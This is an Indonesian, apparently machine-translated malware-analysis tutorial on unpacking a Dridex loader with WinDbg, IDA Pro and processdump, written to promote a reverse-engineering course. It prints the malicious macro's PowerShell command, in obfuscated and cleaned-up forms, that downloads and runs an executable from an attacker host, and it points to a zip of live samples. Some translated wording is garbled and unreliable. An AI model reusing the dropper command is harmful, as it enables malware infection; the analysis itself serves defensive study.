Selamat malam teman! Dalam waktu kurang dari sebulan, program
rekayasa balik akan dimulai bersama kami, dan dalam hubungan ini kami secara tradisional membagikan materi yang bermanfaat tentang topik tersebut.
Beberapa pembaca memiliki masalah membongkar bootloader untuk Dridex (yang diatur ulang oleh makro), jadi hari ini saya akan menunjukkan kepada Anda cara mudah untuk melakukan ini. Masalah lain yang tidak bisa diselesaikan orang yang tidak bisa saya selesaikan adalah fakta bahwa rantai infeksi Dridex memiliki masa hidup yang sangat singkat, yang membuat pembalikan hampir mustahil bagi kebanyakan orang. Saya akan menjelaskan alasannya.
Rantai infeksi Dridex saat ini memiliki sekitar 4 tahap:
- Dokumen kantor yang berisi makro menjalankan skrip PowerShell.
- Skrip Powershell yang akan mengunduh bootloader paket dari situs yang diretas atau sharepoint dan menjalankannya.
- Bootloader terpaket yang membongkar sendiri dan memasukkan kode ke proses spoolsrv atau svchost yang baru dibuat.
- Proses tertanam yang akan menghubungi server loader untuk mengambil dan mengeksekusi file biner bot yang sebenarnya.

Masalahnya bagi para analis adalah ada 2 poin kegagalan di sini: situs yang diretas yang menampung bootloader dapat menghapus atau menghapus akun sharepoint, atau server bootloader dapat dihentikan (salah satu dari mereka akan mencegah infeksi yang berhasil). Selain itu, server loader sering mendukung geofence (mereka hanya berfungsi jika IP Anda berada di negara tujuan dan bukan VPN), dan segera setelah bootloader diunduh secara publik, grup Dridex memiliki kemampuan untuk memasukkannya ke daftar hitam dengan secara permanen memblokir siapa saja yang menjalankannya dari menghubungi C2 (Layanan Cloud Komersial).
Apa yang mengejutkan tentang semua "kegagalan" ini adalah bahwa mereka mungkin disengaja. Sebagian besar korban yang menerima email yang terinfeksi akan membukanya dalam beberapa hari kerja, setelah itu kebanyakan orang yang membuka email akan menganalisis malware, sehingga sangat berguna bahwa semuanya menghilang dalam seminggu.
Agar pembaca dapat mempraktikkan pelajaran ini dalam praktik,
ada zip yang berisi dokumen kantor jahat dan pemuat yang dikemas dari rantai yang sama, sehingga tidak perlu khawatir tentang URL mati (kata sandi: terinfeksi). Sedangkan untuk server dengan geofence bootloader, saya tidak dapat melakukan apa-apa tentang hal itu, dan
karena bootloader telah dipanggil kembali, Anda akan masuk daftar hitam untuk memulainya (jika Anda tidak tahu cara mem-bypass daftar hitam, ikuti pelajaran ini di VM baru (mesin virtual) dan mungkin mengubah IP setelahnya).
Mendapatkan Loader yang DikemasPertama-tama, Anda ingin membuka dokumen jahat di Word, tetapi jangan mengklik "Sertakan Konten". Buka debugger (seperti biasa saya menggunakan WinDbg), hubungkan ke winword.exe, atur breakpoint pada CreateProcessW, lanjutkan prosesnya, lalu klik "Enable Content".

Breakpoint akan dicapai hampir secara instan dengan pola Dridex baru (beberapa mesin virtual dapat dideteksi, jadi jika breakpoint tidak berfungsi, pertimbangkan untuk menutupi mesin virtual Anda).
Kami ingin membongkar parameter CreateProcess 1 dan 2 (masing-masing, path ke aplikasi dan parameter baris perintah), kita bisa melakukan ini dengan perintah berikut:
du / c100 poi (esp + 4)
du / c100 poi (esp + 8)
Catatan: perintah du me-reset string Unicode yang berakhir dengan nol, / c 100 menetapkan batas kolom ke maksimum, dan poi (esp + 4) membaca alamat yang ditunjuk oleh esp + 4. Hasil yang saya dapatkan:
Aplikasi: C: \ Windows \ System32 \ cmd.exe
Parameter: "C: \ Windows \ System32 \ cmd.exe" / cp ^ ower ^ dia ^ ll -ex ^ ecutio ^ nPol ^ es ByP ^ keledai -Tidak ada ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';
Di sini kita mengamati bagaimana makro berbahaya meluncurkan cmd.exe dengan perintah untuk meluncurkan PowerShell, memotong kebijakan eksekusi, dan kemudian memuat dan menjalankan file yang dapat dieksekusi. Jika kami menghapus rangkaian string dan karakter yang hanya kebingungan baisc, kami mendapatkan yang berikut:
"C: \ Windows \ System32 \ cmd.exe" / c powershell -executionpolicy bypass -noprofile -command (Net-Obyek Baru. Web Klien). ('Downloadfile'). Invoke (
'http://littlwnowern.top/lukaku/ ',' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); start-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';
Sekarang kita cukup mengunduh file exe secara manual dari littlwnowern [.] Top / lukaku / (url sekarang mati, tetapi saya mengunggah biner ke arsip sebagai "GksagD.exe.sample"), itu adalah pemuat yang penuh sesak.
Buka kemasan bootloaderPertama kita perlu mengaktifkan DEP (Data Execution Prevention) untuk semua aplikasi, alasannya akan menjadi jelas nanti. Untuk melakukan ini, buka "Panel Kontrol"> "Sistem dan Keamanan"> "Sistem"> "Pengaturan Sistem Lanjut"> "Pengaturan" (di bagian "Kinerja") -> "Pencegahan Eksekusi Data", lalu aktifkan DEP untuk semua program.

Selanjutnya, kita akan membuka file exe di PE Explorer dan mengatur bendera "Relocation Stripped" di header PE, yang akan mencegah ASLR mengunduh file yang dapat dieksekusi ke alamat yang berbeda setiap kali diluncurkan, yang menyederhanakan pembalikan.


Sekarang simpan file yang dapat dieksekusi dan buka di IDA Pro.
Biasanya, loader Dridex membuat proses svchost.exe atau spoolsv.exe dan menyuntikkan diri ke dalamnya, jadi kita tahu bahwa kode yang belum dibuka kemungkinan akan memanggil CreateProcess; Untuk memverifikasi ini, tetapkan breakpoint di akhir CreateProcessW (dalam pernyataan ret) dan klik jalankan.

Setelah breakpoint tercapai, Anda akan melihat bahwa GksagD.exe telah menciptakan proses yang dijeda yang disebut svchost.exe atau spoolsv.exe, seperti yang diharapkan. Jika kami mengambil satu langkah untuk kembali dari CreateProcessW kembali ke kode yang memanggilnya, kami akan memenuhi yang berikut.

IDA memecah-mecah instruksi, yang berarti bahwa kode telah diubah sejak dieksekusi diluncurkan, yang biasanya merupakan hasil dari pembongkaran di tempat (seringkali pembungkus malware menggunakan proses kosong untuk menulis kode yang belum dibongkar ke proses lain, pembungkus yang sebenarnya membongkar kode ke dalam proses yang sama).
Sekarang kita tahu bahwa kode yang dapat dieksekusi utama diganti di beberapa titik, kita dapat meletakkan breakpoint pada catatan di alamat saat ini, yang akan diaktifkan ketika kode berubah.

Setelah itu, hapus semua breakpoints lainnya dan mulai ulang proses.

Breakpoint dipanggil dari alamat di luar bagian utama dari file yang dapat dieksekusi, yang berarti bahwa packer mengalokasikan sebagian memori dan kemudian menyalin beberapa kode untuk mengganti file yang dapat dieksekusi utama.
Jika kita melihat memori di Process Hacker, kita akan melihat bahwa itu sekarang dapat dibaca dan ditulis, tetapi tidak dapat dieksekusi, yang sangat bagus karena itu berarti bahwa paket tidak lagi menggunakan kode ini.

Sekarang tentang beberapa kesimpulan dari tingkat Sherlock: kita tahu bahwa kode dieksekusi di sini nanti, dan memori tidak dapat dieksekusi saat ini, jadi, mungkin, di beberapa titik itu akan menjadi dieksekusi.
Fungsi yang digunakan untuk mengkonfigurasi proteksi memori biasanya VirtualAlloc, VirtualAllocEx, atau NtProtectVirtualMemory. Jika Anda terbiasa dengan komponen internal Windows, Anda akan tahu bahwa VirtualAlloc dan VirtualAllocEx secara internal akan memanggil NtProtectVirtualMemory, jadi ini adalah tempat kami mengatur breakpoint.
Kita bisa duduk dan memeriksa tumpukan panggilan setiap kali NtProtectVirtualMemory dipanggil, tunggu alamat yang sesuai diatur sebagai yang dapat dieksekusi, lalu uraikan header PE untuk menemukan titik entri baru, atau kita bisa lebih pintar.
Kami akan menetapkan breakpoint bersyarat pada NtProtectVirtualMemory menggunakan skrip berikut:
if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0;
Untuk melakukan ini, buka NtProtectVirtualMemory dan atur breakpoint pada byte pertama, klik kanan> Change Breakpoint, lalu klik tombol "..." dan rekatkan skrip.
Script ini akan dieksekusi setiap kali NtProtectVirtualMemory dipanggil, dan akan melakukan hal berikut:
- Pastikan bahwa parameter perlindungan halaman (esp + 0x10) adalah 0x10, 0x20 atau 0x40 (alias PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE), yang berarti bahwa panggilan mengubah perlindungan halaman menjadi dapat dieksekusi.
- Pastikan alamat tujuan berada dalam kisaran bagian yang dapat dieksekusi utama (0x400000 - 0x42e000).
- Ubah pengaturan keamanan ke 0x04 (tidak dapat dieksekusi).
- Kembalikan 0 (melanjutkan eksekusi alih-alih menyela ke debugger).
Ayo lari dan lihat apa yang terjadi.

Akses Pengecualian Pelanggaran! Luangkan waktu untuk menikmati momen ini, karena ini mungkin satu-satunya kesalahan pelanggaran akses serius yang pernah Anda lihat ... tapi mengapa itu baik?
Skrip breakpoint kami pada NtProtectVirtualMemory menetapkan semua memori sebagai tidak dapat dieksekusi ketika paket mencoba untuk mengaturnya agar dapat dieksekusi. Pengecualian berarti bahwa segala sesuatu yang ditulis oleh packer ke memori sekarang berhasil ditulis, dan ia mencoba untuk memanggil sesuatu di memori ini. Jika kita beruntung, yang dituliskan oleh packer ke memori adalah bootloader yang tidak dibongkar, dan alamat yang dia coba hubungi adalah titik masuknya, bukan?
Untuk melakukan ini, kita akan menggunakan alat luar biasa yang disebut processdump (
tautan unduhan ), yang membuang gambar exe atau dll yang dimuat ke dalam memori proses dan mengemasnya kembali ke file .exe atau .dll.
gunakan "pd32.exe -pid" untuk membuang proses.
gunakan "pd32.exe -pid <process id>" untuk membongkar proses.

Nomor di akhir nama file adalah alamat dasar dari gambar dalam memori, jadi GksagD_exe_GksagD.exe_400000.exe akan sama dengan paket yang dipetakan dan bukan yang dapat dieksekusi yang lama, jadi kita akan melihatnya di IDA.

Alamat titik entri sama dengan alamat pengecualian, ini adalah executable yang tidak dibongkar!
Membalikkan TipsBootloader rumit karena semua string dienkripsi dan tidak ada impor, tetapi metode yang saya jelaskan secara rinci dalam buku pegangan Dridex saya akan bekerja pada bootloader juga.
Lihatlah:
https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.htmldan
https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.htmlCatatan: executable bootloader bersifat multi-guna (ini adalah kode yang menyematkan svchost / spoolsv dan kode yang menyematkan svchost / spoolsv). Jika Anda ingin membalikkan bagian injeksi bootloader, buka saja di IDA dan jalankan. Jika Anda ingin membalikkan bagian boot, Anda perlu menyalinnya ke system32 dan menjalankannya dari sana (hati-hati karena dalam kedua kasus bootloader akan dihapus sendiri setelah dijalankan).
Jika Anda menemukan bahan yang berguna, beri nilai tambah, tulis komentar, dan pastikan untuk mendaftar untuk
pelajaran terbuka yang akan berlangsung hari ini!